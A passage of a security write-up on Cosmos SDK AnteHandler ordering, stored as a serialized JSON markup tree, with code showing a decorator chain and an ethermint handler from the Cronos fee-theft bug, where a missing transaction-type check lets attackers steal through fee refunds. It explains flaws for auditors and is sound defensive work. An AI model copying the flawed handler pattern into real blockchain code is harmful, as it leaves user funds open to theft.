return",{"type":24,"tag":271,"props":85868,"children":85869},{"style":630},[85870],{"type":29,"value":33519},{"type":24,"tag":271,"props":85872,"children":85873},{"style":288},[85874],{"type":29,"value":158},{"type":24,"tag":271,"props":85876,"children":85877},{"style":630},[85878],{"type":29,"value":85627},{"type":24,"tag":271,"props":85880,"children":85881},{"style":288},[85882],{"type":29,"value":41},{"type":24,"tag":271,"props":85884,"children":85885},{"style":598},[85886],{"type":29,"value":85636},{"type":24,"tag":271,"props":85888,"children":85889},{"style":288},[85890],{"type":29,"value":4028},{"type":24,"tag":271,"props":85892,"children":85893},{"class":273,"line":483},[85894,85899],{"type":24,"tag":271,"props":85895,"children":85896},{"style":630},[85897],{"type":29,"value":85898}," ErrInsufficientBalance",{"type":24,"tag":271,"props":85900,"children":85901},{"style":288},[85902],{"type":29,"value":638},{"type":24,"tag":271,"props":85904,"children":85905},{"class":273,"line":491},[85906,85911],{"type":24,"tag":271,"props":85907,"children":85908},{"style":378},[85909],{"type":29,"value":85910}," \"Insufficient Balance\"",{"type":24,"tag":271,"props":85912,"children":85913},{"style":288},[85914],{"type":29,"value":638},{"type":24,"tag":271,"props":85916,"children":85917},{"class":273,"line":499},[85918],{"type":24,"tag":271,"props":85919,"children":85920},{"style":288},[85921],{"type":29,"value":84305},{"type":24,"tag":271,"props":85923,"children":85924},{"class":273,"line":3188},[85925],{"type":24,"tag":271,"props":85926,"children":85927},{"style":288},[85928],{"type":29,"value":7574},{"type":24,"tag":271,"props":85930,"children":85931},{"class":273,"line":3247},[85932],{"type":24,"tag":271,"props":85933,"children":85934},{"style":288},[85935],{"type":29,"value":4385},{"type":24,"tag":271,"props":85937,"children":85938},{"class":273,"line":3255},[85939],{"type":24,"tag":271,"props":85940,"children":85941},{"emptyLinePlaceholder":16},[85942],{"type":29,"value":327},{"type":24,"tag":271,"props":85944,"children":85945},{"class":273,"line":3263},[85946,85950,85955,85959,85963,85967,85972,85976,85981],{"type":24,"tag":271,"props":85947,"children":85948},{"style":749},[85949],{"type":29,"value":9640},{"type":24,"tag":271,"props":85951,"children":85952},{"style":598},[85953],{"type":29,"value":85954}," next",{"type":24,"tag":271,"props":85956,"children":85957},{"style":288},[85958],{"type":29,"value":606},{"type":24,"tag":271,"props":85960,"children":85961},{"style":630},[85962],{"type":29,"value":633},{"type":24,"tag":271,"props":85964,"children":85965},{"style":288},[85966],{"type":29,"value":158},{"type":24,"tag":271,"props":85968,"children":85969},{"style":630},[85970],{"type":29,"value":85971},"tx",{"type":24,"tag":271,"props":85973,"children":85974},{"style":288},[85975],{"type":29,"value":158},{"type":24,"tag":271,"props":85977,"children":85978},{"style":630},[85979],{"type":29,"value":85980},"simulate",{"type":24,"tag":271,"props":85982,"children":85983},{"style":288},[85984],{"type":29,"value":694},{"type":24,"tag":271,"props":85986,"children":85987},{"class":273,"line":3293},[85988],{"type":24,"tag":271,"props":85989,"children":85990},{"style":288},[85991],{"type":29,"value":1171},{"type":24,"tag":25,"props":85993,"children":85994},{},[85995,85997,86002,86004,86010,86012,86018],{"type":29,"value":85996},"Where should this custom ",{"type":24,"tag":135,"props":85998,"children":86000},{"className":85999},[],[86001],{"type":29,"value":85260},{"type":29,"value":86003}," be placed relative to other ",{"type":24,"tag":135,"props":86005,"children":86007},{"className":86006},[],[86008],{"type":29,"value":86009},"AnteHandlers",{"type":29,"value":86011}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":24,"tag":135,"props":86013,"children":86015},{"className":86014},[],[86016],{"type":29,"value":86017},"SetUpContextDecorator",{"type":29,"value":86019}," should work, right?",{"type":24,"tag":25,"props":86021,"children":86022},{},[86023],{"type":24,"tag":32,"props":86024,"children":86027},{"href":86025,"rel":86026},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[36],[86028],{"type":29,"value":83529},{"type":24,"tag":261,"props":86030,"children":86032},{"code":86031,"language":82954,"meta":7,"className":82955,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[86033],{"type":24,"tag":135,"props":86034,"children":86035},{"__ignoreMap":7},[86036,86069,86086,86094,86123,86135,86147,86176,86204,86283,86316,86344,86389,86434,86462],{"type":24,"tag":271,"props":86037,"children":86038},{"class":273,"line":274},[86039,86044,86048,86052,86056,86060,86065],{"type":24,"tag":271,"props":86040,"children":86041},{"style":630},[86042],{"type":29,"value":86043},"anteDecorators",{"type":24,"tag":271,"props":86045,"children":86046},{"style":624},[86047],{"type":29,"value":83206},{"type":24,"tag":271,"props":86049,"children":86050},{"style":288},[86051],{"type":29,"value":83017},{"type":24,"tag":271,"props":86053,"children":86054},{"style":3887},[86055],{"type":29,"value":85520},{"type":24,"tag":271,"props":86057,"children":86058},{"style":288},[86059],{"type":29,"value":41},{"type":24,"tag":271,"props":86061,"children":86062},{"style":3887},[86063],{"type":29,"value":86064},"AnteDecorator",{"type":24,"tag":271,"props":86066,"children":86067},{"style":288},[86068],{"type":29,"value":702},{"type":24,"tag":271,"props":86070,"children":86071},{"class":273,"line":284},[86072,86077,86081],{"type":24,"tag":271,"props":86073,"children":86074},{"style":598},[86075],{"type":29,"value":86076}," NewSetUpContextDecorator",{"type":24,"tag":271,"props":86078,"children":86079},{"style":288},[86080],{"type":29,"value":26067},{"type":24,"tag":271,"props":86082,"children":86083},{"style":2058},[86084],{"type":29,"value":86085},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":24,"tag":271,"props":86087,"children":86088},{"class":273,"line":294},[86089],{"type":24,"tag":271,"props":86090,"children":86091},{"style":2058},[86092],{"type":29,"value":86093}," // INSERT HERE\n",{"type":24,"tag":271,"props":86095,"children":86096},{"class":273,"line":303},[86097,86102,86106,86110,86114,86119],{"type":24,"tag":271,"props":86098,"children":86099},{"style":598},[86100],{"type":29,"value":86101}," NewExtensionOptionsDecorator",{"type":24,"tag":271,"props":86103,"children":86104},{"style":288},[86105],{"type":29,"value":606},{"type":24,"tag":271,"props":86107,"children":86108},{"style":630},[86109],{"type":29,"value":43706},{"type":24,"tag":271,"props":86111,"children":86112},{"style":288},[86113],{"type":29,"value":41},{"type":24,"tag":271,"props":86115,"children":86116},{"style":630},[86117],{"type":29,"value":86118},"ExtensionOptionChecker",{"type":24,"tag":271,"props":86120,"children":86121},{"style":288},[86122],{"type":29,"value":14453},{"type":24,"tag":271,"props":86124,"children":86125},{"class":273,"line":312},[86126,86131],{"type":24,"tag":271,"props":86127,"children":86128},{"style":598},[86129],{"type":29,"value":86130}," NewValidateBasicDecorator",{"type":24,"tag":271,"props":86132,"children":86133},{"style":288},[86134],{"type":29,"value":11217},{"type":24,"tag":271,"props":86136,"children":86137},{"class":273,"line":321},[86138,86143],{"type":24,"tag":271,"props":86139,"children":86140},{"style":598},[86141],{"type":29,"value":86142}," NewTxTimeoutHeightDecorator",{"type":24,"tag":271,"props":86144,"children":86145},{"style":288},[86146],{"type":29,"value":11217},{"type":24,"tag":271,"props":86148,"children":86149},{"class":273,"line":330},[86150,86155,86159,86163,86167,86172],{"type":24,"tag":271,"props":86151,"children":86152},{"style":598},[86153],{"type":29,"value":86154}," NewValidateMemoDecorator",{"type":24,"tag":271,"props":86156,"children":86157},{"style":288},[86158],{"type":29,"value":606},{"type":24,"tag":271,"props":86160,"children":86161},{"style":630},[86162],{"type":29,"value":43706},{"type":24,"tag":271,"props":86164,"children":86165},{"style":288},[86166],{"type":29,"value":41},{"type":24,"tag":271,"props":86168,"children":86169},{"style":630},[86170],{"type":29,"value":86171},"AccountKeeper",{"type":24,"tag":271,"props":86173,"children":86174},{"style":288},[86175],{"type":29,"value":14453},{"type":24,"tag":271,"props":86177,"children":86178},{"class":273,"line":339},[86179,86184,86188,86192,86196,86200],{"type":24,"tag":271,"props":86180,"children":86181},{"style":598},[86182],{"type":29,"value":86183}," NewConsumeGasForTxSizeDecorator",{"type":24,"tag":271,"props":86185,"children":86186},{"style":288},[86187],{"type":29,"value":606},{"type":24,"tag":271,"props":86189,"children":86190},{"style":630},[86191],{"type":29,"value":43706},{"type":24,"tag":271,"props":86193,"children":86194},{"style":288},[86195],{"type":29,"value":41},{"type":24,"tag":271,"props":86197,"children":86198},{"style":630},[86199],{"type":29,"value":86171},{"type":24,"tag":271,"props":86201,"children":86202},{"style":288},[86203],{"type":29,"value":14453},{"type":24,"tag":271,"props":86205,"children":86206},{"class":273,"line":347},[86207,86212,86216,86220,86224,86228,86232,86236,86240,86245,86249,86253,86257,86262,86266,86270,86274,86279],{"type":24,"tag":271,"props":86208,"children":86209},{"style":598},[86210],{"type":29,"value":86211}," NewDeductFeeDecorator",{"type":24,"tag":271,"props":86213,"children":86214},{"style":288},[86215],{"type":29,"value":606},{"type":24,"tag":271,"props":86217,"children":86218},{"style":630},[86219],{"type":29,"value":43706},{"type":24,"tag":271,"props":86221,"children":86222},{"style":288},[86223],{"type":29,"value":41},{"type":24,"tag":271,"props":86225,"children":86226},{"style":630},[86227],{"type":29,"value":86171},{"type":24,"tag":271,"props":86229,"children":86230},{"style":288},[86231],{"type":29,"value":158},{"type":24,"tag":271,"props":86233,"children":86234},{"style":630},[86235],{"type":29,"value":43706},{"type":24,"tag":271,"props":86237,"children":86238},{"style":288},[86239],{"type":29,"value":41},{"type":24,"tag":271,"props":86241,"children":86242},{"style":630},[86243],{"type":29,"value":86244},"BankKeeper",{"type":24,"tag":271,"props":86246,"children":86247},{"style":288},[86248],{"type":29,"value":158},{"type":24,"tag":271,"props":86250,"children":86251},{"style":630},[86252],{"type":29,"value":43706},{"type":24,"tag":271,"props":86254,"children":86255},{"style":288},[86256],{"type":29,"value":41},{"type":24,"tag":271,"props":86258,"children":86259},{"style":630},[86260],{"type":29,"value":86261},"FeegrantKeeper",{"type":24,"tag":271,"props":86263,"children":86264},{"style":288},[86265],{"type":29,"value":158},{"type":24,"tag":271,"props":86267,"children":86268},{"style":630},[86269],{"type":29,"value":43706},{"type":24,"tag":271,"props":86271,"children":86272},{"style":288},[86273],{"type":29,"value":41},{"type":24,"tag":271,"props":86275,"children":86276},{"style":630},[86277],{"type":29,"value":86278},"TxFeeChecker",{"type":24,"tag":271,"props":86280,"children":86281},{"style":288},[86282],{"type":29,"value":14453},{"type":24,"tag":271,"props":86284,"children":86285},{"class":273,"line":356},[86286,86291,86295,86299,86303,86307,86311],{"type":24,"tag":271,"props":86287,"children":86288},{"style":598},[86289],{"type":29,"value":86290}," NewSetPubKeyDecorator",{"type":24,"tag":271,"props":86292,"children":86293},{"style":288},[86294],{"type":29,"value":606},{"type":24,"tag":271,"props":86296,"children":86297},{"style":630},[86298],{"type":29,"value":43706},{"type":24,"tag":271,"props":86300,"children":86301},{"style":288},[86302],{"type":29,"value":41},{"type":24,"tag":271,"props":86304,"children":86305},{"style":630},[86306],{"type":29,"value":86171},{"type":24,"tag":271,"props":86308,"children":86309},{"style":288},[86310],{"type":29,"value":22874},{"type":24,"tag":271,"props":86312,"children":86313},{"style":2058},[86314],{"type":29,"value":86315},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":24,"tag":271,"props":86317,"children":86318},{"class":273,"line":365},[86319,86324,86328,86332,86336,86340],{"type":24,"tag":271,"props":86320,"children":86321},{"style":598},[86322],{"type":29,"value":86323}," NewValidateSigCountDecorator",{"type":24,"tag":271,"props":86325,"children":86326},{"style":288},[86327],{"type":29,"value":606},{"type":24,"tag":271,"props":86329,"children":86330},{"style":630},[86331],{"type":29,"value":43706},{"type":24,"tag":271,"props":86333,"children":86334},{"style":288},[86335],{"type":29,"value":41},{"type":24,"tag":271,"props":86337,"children":86338},{"style":630},[86339],{"type":29,"value":86171},{"type":24,"tag":271,"props":86341,"children":86342},{"style":288},[86343],{"type":29,"value":14453},{"type":24,"tag":271,"props":86345,"children":86346},{"class":273,"line":374},[86347,86352,86356,86360,86364,86368,86372,86376,86380,86385],{"type":24,"tag":271,"props":86348,"children":86349},{"style":598},[86350],{"type":29,"value":86351}," NewSigGasConsumeDecorator",{"type":24,"tag":271,"props":86353,"children":86354},{"style":288},[86355],{"type":29,"value":606},{"type":24,"tag":271,"props":86357,"children":86358},{"style":630},[86359],{"type":29,"value":43706},{"type":24,"tag":271,"props":86361,"children":86362},{"style":288},[86363],{"type":29,"value":41},{"type":24,"tag":271,"props":86365,"children":86366},{"style":630},[86367],{"type":29,"value":86171},{"type":24,"tag":271,"props":86369,"children":86370},{"style":288},[86371],{"type":29,"value":158},{"type":24,"tag":271,"props":86373,"children":86374},{"style":630},[86375],{"type":29,"value":43706},{"type":24,"tag":271,"props":86377,"children":86378},{"style":288},[86379],{"type":29,"value":41},{"type":24,"tag":271,"props":86381,"children":86382},{"style":630},[86383],{"type":29,"value":86384},"SigGasConsumer",{"type":24,"tag":271,"props":86386,"children":86387},{"style":288},[86388],{"type":29,"value":14453},{"type":24,"tag":271,"props":86390,"children":86391},{"class":273,"line":384},[86392,86397,86401,86405,86409,86413,86417,86421,86425,86430],{"type":24,"tag":271,"props":86393,"children":86394},{"style":598},[86395],{"type":29,"value":86396}," NewSigVerificationDecorator",{"type":24,"tag":271,"props":86398,"children":86399},{"style":288},[86400],{"type":29,"value":606},{"type":24,"tag":271,"props":86402,"children":86403},{"style":630},[86404],{"type":29,"value":43706},{"type":24,"tag":271,"props":86406,"children":86407},{"style":288},[86408],{"type":29,"value":41},{"type":24,"tag":271,"props":86410,"children":86411},{"style":630},[86412],{"type":29,"value":86171},{"type":24,"tag":271,"props":86414,"children":86415},{"style":288},[86416],{"type":29,"value":158},{"type":24,"tag":271,"props":86418,"children":86419},{"style":630},[86420],{"type":29,"value":43706},{"type":24,"tag":271,"props":86422,"children":86423},{"style":288},[86424],{"type":29,"value":41},{"type":24,"tag":271,"props":86426,"children":86427},{"style":630},[86428],{"type":29,"value":86429},"SignModeHandler",{"type":24,"tag":271,"props":86431,"children":86432},{"style":288},[86433],{"type":29,"value":14453},{"type":24,"tag":271,"props":86435,"children":86436},{"class":273,"line":393},[86437,86442,86446,86450,86454,86458],{"type":24,"tag":271,"props":86438,"children":86439},{"style":598},[86440],{"type":29,"value":86441}," NewIncrementSequenceDecorator",{"type":24,"tag":271,"props":86443,"children":86444},{"style":288},[86445],{"type":29,"value":606},{"type":24,"tag":271,"props":86447,"children":86448},{"style":630},[86449],{"type":29,"value":43706},{"type":24,"tag":271,"props":86451,"children":86452},{"style":288},[86453],{"type":29,"value":41},{"type":24,"tag":271,"props":86455,"children":86456},{"style":630},[86457],{"type":29,"value":86171},{"type":24,"tag":271,"props":86459,"children":86460},{"style":288},[86461],{"type":29,"value":14453},{"type":24,"tag":271,"props":86463,"children":86464},{"class":273,"line":402},[86465],{"type":24,"tag":271,"props":86466,"children":86467},{"style":288},[86468],{"type":29,"value":1171},{"type":24,"tag":25,"props":86470,"children":86471},{},[86472,86474,86479,86481,86487,86488,86494],{"type":29,"value":86473},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":24,"tag":135,"props":86475,"children":86477},{"className":86476},[],[86478],{"type":29,"value":86009},{"type":29,"value":86480},", such as ",{"type":24,"tag":135,"props":86482,"children":86484},{"className":86483},[],[86485],{"type":29,"value":86486},"SigGasConsumeDecorator",{"type":29,"value":518},{"type":24,"tag":135,"props":86489,"children":86491},{"className":86490},[],[86492],{"type":29,"value":86493},"ConsumeGasForTxSizeDecorator",{"type":29,"value":86495},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":24,"tag":25,"props":86497,"children":86498},{},[86499,86501,86507,86509,86514],{"type":29,"value":86500},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":24,"tag":135,"props":86502,"children":86504},{"className":86503},[],[86505],{"type":29,"value":86506},"msgs",{"type":29,"value":86508}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":24,"tag":135,"props":86510,"children":86512},{"className":86511},[],[86513],{"type":29,"value":85335},{"type":29,"value":86515}," chain.",{"type":24,"tag":85,"props":86517,"children":86519},{"id":86518},"real-world-examples-2",[86520],{"type":29,"value":83479},{"type":24,"tag":25,"props":86522,"children":86523},{},[86524,86526,86531,86533,86540],{"type":29,"value":86525},"An instance of ",{"type":24,"tag":135,"props":86527,"children":86529},{"className":86528},[],[86530],{"type":29,"value":85260},{"type":29,"value":86532}," misuse is a ",{"type":24,"tag":32,"props":86534,"children":86537},{"href":86535,"rel":86536},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[36],[86538],{"type":29,"value":86539},"Theft of Fund bug",{"type":29,"value":86541}," that was exploited in a Cronos contract.",{"type":24,"tag":25,"props":86543,"children":86544},{},[86545,86547,86552,86554,86559,86561,86567,86569,86575,86577,86582,86584,86589],{"type":29,"value":86546},"In this scenario, ",{"type":24,"tag":135,"props":86548,"children":86550},{"className":86549},[],[86551],{"type":29,"value":86506},{"type":29,"value":86553}," are multiplexed to different ",{"type":24,"tag":135,"props":86555,"children":86557},{"className":86556},[],[86558],{"type":29,"value":85260},{"type":29,"value":86560}," sets through the user-controlled ",{"type":24,"tag":135,"props":86562,"children":86564},{"className":86563},[],[86565],{"type":29,"value":86566},"ExtensionOptionsEthereumTx",{"type":29,"value":86568}," option. However, due to a lack of tx validation, if a ",{"type":24,"tag":135,"props":86570,"children":86572},{"className":86571},[],[86573],{"type":29,"value":86574},"MsgEthereumTx",{"type":29,"value":86576}," does not have ",{"type":24,"tag":135,"props":86578,"children":86580},{"className":86579},[],[86581],{"type":29,"value":86566},{"type":29,"value":86583}," specified, it will be routed to non-Ethereum ",{"type":24,"tag":135,"props":86585,"children":86587},{"className":86586},[],[86588],{"type":29,"value":86009},{"type":29,"value":86590},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":24,"tag":25,"props":86592,"children":86593},{},[86594],{"type":24,"tag":32,"props":86595,"children":86598},{"href":86596,"rel":86597},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[36],[86599],{"type":29,"value":83529},{"type":24,"tag":261,"props":86601,"children":86603},{"code":86602,"language":82954,"meta":7,"className":82955,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[86604],{"type":24,"tag":135,"props":86605,"children":86606},{"__ignoreMap":7},[86607,86623,86648,86672,86689,86714,86740,86765,86788,86804,86860,86901,86927,86934,86980,86987,87033,87049,87079,87114,87166,87183,87191,87198,87227,87243,87251,87277,87285,87292,87304,87338,87384,87396,87403,87410,87417,87456,87463,87470,87477,87485,87492,87516,87540,87568,87593,87601,87634,87641,87653,87684,87739,87752,87760,87768,87776,87816,87824],{"type":24,"tag":271,"props":86608,"children":86609},{"class":273,"line":274},[86610,86614,86619],{"type":24,"tag":271,"props":86611,"children":86612},{"style":278},[86613],{"type":29,"value":83090},{"type":24,"tag":271,"props":86615,"children":86616},{"style":598},[86617],{"type":29,"value":86618}," NewAnteHandler",{"type":24,"tag":271,"props":86620,"children":86621},{"style":288},[86622],{"type":29,"value":4028},{"type":24,"tag":271,"props":86624,"children":86625},{"class":273,"line":284},[86626,86631,86636,86640,86644],{"type":24,"tag":271,"props":86627,"children":86628},{"style":630},[86629],{"type":29,"value":86630}," ak",{"type":24,"tag":271,"props":86632,"children":86633},{"style":3887},[86634],{"type":29,"value":86635}," evmtypes",{"type":24,"tag":271,"props":86637,"children":86638},{"style":288},[86639],{"type":29,"value":41},{"type":24,"tag":271,"props":86641,"children":86642},{"style":3887},[86643],{"type":29,"value":86171},{"type":24,"tag":271,"props":86645,"children":86646},{"style":288},[86647],{"type":29,"value":638},{"type":24,"tag":271,"props":86649,"children":86650},{"class":273,"line":294},[86651,86656,86660,86664,86668],{"type":24,"tag":271,"props":86652,"children":86653},{"style":630},[86654],{"type":29,"value":86655}," bankKeeper",{"type":24,"tag":271,"props":86657,"children":86658},{"style":3887},[86659],{"type":29,"value":86635},{"type":24,"tag":271,"props":86661,"children":86662},{"style":288},[86663],{"type":29,"value":41},{"type":24,"tag":271,"props":86665,"children":86666},{"style":3887},[86667],{"type":29,"value":86244},{"type":24,"tag":271,"props":86669,"children":86670},{"style":288},[86671],{"type":29,"value":638},{"type":24,"tag":271,"props":86673,"children":86674},{"class":273,"line":303},[86675,86680,86685],{"type":24,"tag":271,"props":86676,"children":86677},{"style":630},[86678],{"type":29,"value":86679}," evmKeeper",{"type":24,"tag":271,"props":86681,"children":86682},{"style":3887},[86683],{"type":29,"value":86684}," EVMKeeper",{"type":24,"tag":271,"props":86686,"children":86687},{"style":288},[86688],{"type":29,"value":638},{"type":24,"tag":271,"props":86690,"children":86691},{"class":273,"line":312},[86692,86697,86702,86706,86710],{"type":24,"tag":271,"props":86693,"children":86694},{"style":630},[86695],{"type":29,"value":86696}," feeGrantKeeper",{"type":24,"tag":271,"props":86698,"children":86699},{"style":3887},[86700],{"type":29,"value":86701}," authante",{"type":24,"tag":271,"props":86703,"children":86704},{"style":288},[86705],{"type":29,"value":41},{"type":24,"tag":271,"props":86707,"children":86708},{"style":3887},[86709],{"type":29,"value":86261},{"type":24,"tag":271,"props":86711,"children":86712},{"style":288},[86713],{"type":29,"value":638},{"type":24,"tag":271,"props":86715,"children":86716},{"class":273,"line":321},[86717,86722,86727,86731,86736],{"type":24,"tag":271,"props":86718,"children":86719},{"style":630},[86720],{"type":29,"value":86721}," channelKeeper",{"type":24,"tag":271,"props":86723,"children":86724},{"style":3887},[86725],{"type":29,"value":86726}," channelkeeper",{"type":24,"tag":271,"props":86728,"children":86729},{"style":288},[86730],{"type":29,"value":41},{"type":24,"tag":271,"props":86732,"children":86733},{"style":3887},[86734],{"type":29,"value":86735},"Keeper",{"type":24,"tag":271,"props":86737,"children":86738},{"style":288},[86739],{"type":29,"value":638},{"type":24,"tag":271,"props":86741,"children":86742},{"class":273,"line":330},[86743,86748,86753,86757,86761],{"type":24,"tag":271,"props":86744,"children":86745},{"style":630},[86746],{"type":29,"value":86747}," signModeHandler",{"type":24,"tag":271,"props":86749,"children":86750},{"style":3887},[86751],{"type":29,"value":86752}," authsigning",{"type":24,"tag":271,"props":86754,"children":86755},{"style":288},[86756],{"type":29,"value":41},{"type":24,"tag":271,"props":86758,"children":86759},{"style":3887},[86760],{"type":29,"value":86429},{"type":24,"tag":271,"props":86762,"children":86763},{"style":288},[86764],{"type":29,"value":638},{"type":24,"tag":271,"props":86766,"children":86767},{"class":273,"line":339},[86768,86772,86776,86780,86784],{"type":24,"tag":271,"props":86769,"children":86770},{"style":288},[86771],{"type":29,"value":8823},{"type":24,"tag":271,"props":86773,"children":86774},{"style":3887},[86775],{"type":29,"value":85520},{"type":24,"tag":271,"props":86777,"children":86778},{"style":288},[86779],{"type":29,"value":41},{"type":24,"tag":271,"props":86781,"children":86782},{"style":3887},[86783],{"type":29,"value":85260},{"type":24,"tag":271,"props":86785,"children":86786},{"style":288},[86787],{"type":29,"value":7145},{"type":24,"tag":271,"props":86789,"children":86790},{"class":273,"line":347},[86791,86795,86800],{"type":24,"tag":271,"props":86792,"children":86793},{"style":749},[86794],{"type":29,"value":9640},{"type":24,"tag":271,"props":86796,"children":86797},{"style":278},[86798],{"type":29,"value":86799}," func",{"type":24,"tag":271,"props":86801,"children":86802},{"style":288},[86803],{"type":29,"value":4028},{"type":24,"tag":271,"props":86805,"children":86806},{"class":273,"line":356},[86807,86811,86815,86819,86823,86827,86831,86835,86839,86843,86847,86852,86856],{"type":24,"tag":271,"props":86808,"children":86809},{"style":630},[86810],{"type":29,"value":33862},{"type":24,"tag":271,"props":86812,"children":86813},{"style":3887},[86814],{"type":29,"value":85431},{"type":24,"tag":271,"props":86816,"children":86817},{"style":288},[86818],{"type":29,"value":41},{"type":24,"tag":271,"props":86820,"children":86821},{"style":3887},[86822],{"type":29,"value":83139},{"type":24,"tag":271,"props":86824,"children":86825},{"style":288},[86826],{"type":29,"value":158},{"type":24,"tag":271,"props":86828,"children":86829},{"style":630},[86830],{"type":29,"value":85971},{"type":24,"tag":271,"props":86832,"children":86833},{"style":3887},[86834],{"type":29,"value":85431},{"type":24,"tag":271,"props":86836,"children":86837},{"style":288},[86838],{"type":29,"value":41},{"type":24,"tag":271,"props":86840,"children":86841},{"style":3887},[86842],{"type":29,"value":85464},{"type":24,"tag":271,"props":86844,"children":86845},{"style":288},[86846],{"type":29,"value":158},{"type":24,"tag":271,"props":86848,"children":86849},{"style":630},[86850],{"type":29,"value":86851},"sim",{"type":24,"tag":271,"props":86853,"children":86854},{"style":3887},[86855],{"type":29,"value":19753},{"type":24,"tag":271,"props":86857,"children":86858},{"style":288},[86859],{"type":29,"value":638},{"type":24,"tag":271,"props":86861,"children":86862},{"class":273,"line":365},[86863,86868,86873,86877,86881,86885,86889,86893,86897],{"type":24,"tag":271,"props":86864,"children":86865},{"style":288},[86866],{"type":29,"value":86867}," ) (",{"type":24,"tag":271,"props":86869,"children":86870},{"style":630},[86871],{"type":29,"value":86872},"newCtx",{"type":24,"tag":271,"props":86874,"children":86875},{"style":3887},[86876],{"type":29,"value":85431},{"type":24,"tag":271,"props":86878,"children":86879},{"style":288},[86880],{"type":29,"value":41},{"type":24,"tag":271,"props":86882,"children":86883},{"style":3887},[86884],{"type":29,"value":83139},{"type":24,"tag":271,"props":86886,"children":86887},{"style":288},[86888],{"type":29,"value":158},{"type":24,"tag":271,"props":86890,"children":86891},{"style":630},[86892],{"type":29,"value":56085},{"type":24,"tag":271,"props":86894,"children":86895},{"style":3887},[86896],{"type":29,"value":22574},{"type":24,"tag":271,"props":86898,"children":86899},{"style":288},[86900],{"type":29,"value":919},{"type":24,"tag":271,"props":86902,"children":86903},{"class":273,"line":374},[86904,86909,86914,86918,86922],{"type":24,"tag":271,"props":86905,"children":86906},{"style":278},[86907],{"type":29,"value":86908}," var",{"type":24,"tag":271,"props":86910,"children":86911},{"style":630},[86912],{"type":29,"value":86913}," anteHandler",{"type":24,"tag":271,"props":86915,"children":86916},{"style":3887},[86917],{"type":29,"value":85431},{"type":24,"tag":271,"props":86919,"children":86920},{"style":288},[86921],{"type":29,"value":41},{"type":24,"tag":271,"props":86923,"children":86924},{"style":3887},[86925],{"type":29,"value":86926},"AnteHandler\n",{"type":24,"tag":271,"props":86928,"children":86929},{"class":273,"line":384},[86930],{"type":24,"tag":271,"props":86931,"children":86932},{"emptyLinePlaceholder":16},[86933],{"type":29,"value":327},{"type":24,"tag":271,"props":86935,"children":86936},{"class":273,"line":393},[86937,86942,86947,86951,86955,86959,86964,86968,86972,86976],{"type":24,"tag":271,"props":86938,"children":86939},{"style":749},[86940],{"type":29,"value":86941}," defer",{"type":24,"tag":271,"props":86943,"children":86944},{"style":598},[86945],{"type":29,"value":86946}," 